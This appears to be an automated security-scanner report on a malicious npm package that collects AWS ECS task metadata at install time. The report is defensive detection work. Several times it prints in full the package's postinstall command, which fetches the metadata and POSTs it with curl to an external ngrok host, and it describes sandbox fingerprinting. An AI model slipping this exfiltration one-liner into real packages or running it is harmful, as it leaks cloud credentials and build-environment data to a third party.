notafollower1@1.0.0: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically retrieves AWS ECS task metadata and sends its output externally. This can expose runtime/task configuration and credentials.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation

Impact

Exfiltration of cloud workload metadata and potentially credentials.

Mechanism

ECS metadata retrieval piped to external HTTP POST

Attack narrative

On npm installation, the postinstall shell command runs Node to fetch the local ECS task-metadata endpoint derived from the environment. It prints the response into a shell pipe, where curl sends it as the POST body to an external ngrok host. The behavior is automatic and unrelated to a declared package function.

Rationale

Direct source inspection confirms an install-time cloud-metadata exfiltration chain to an external endpoint.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall fetches ECS task metadata using ECS_CONTAINER_METADATA_URI_V4.
The metadata response is piped to curl and POSTed to an external ngrok endpoint.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall fetches ECS task metadata using ECS_CONTAINER_METADATA_URI_V4.

package.jsonView on unpkg · L5

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

postinstall fetches ECS task metadata using ECS_CONTAINER_METADATA_URI_V4.

package.jsonView on unpkg · L5

Findings

1 Critical2 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

LowNo License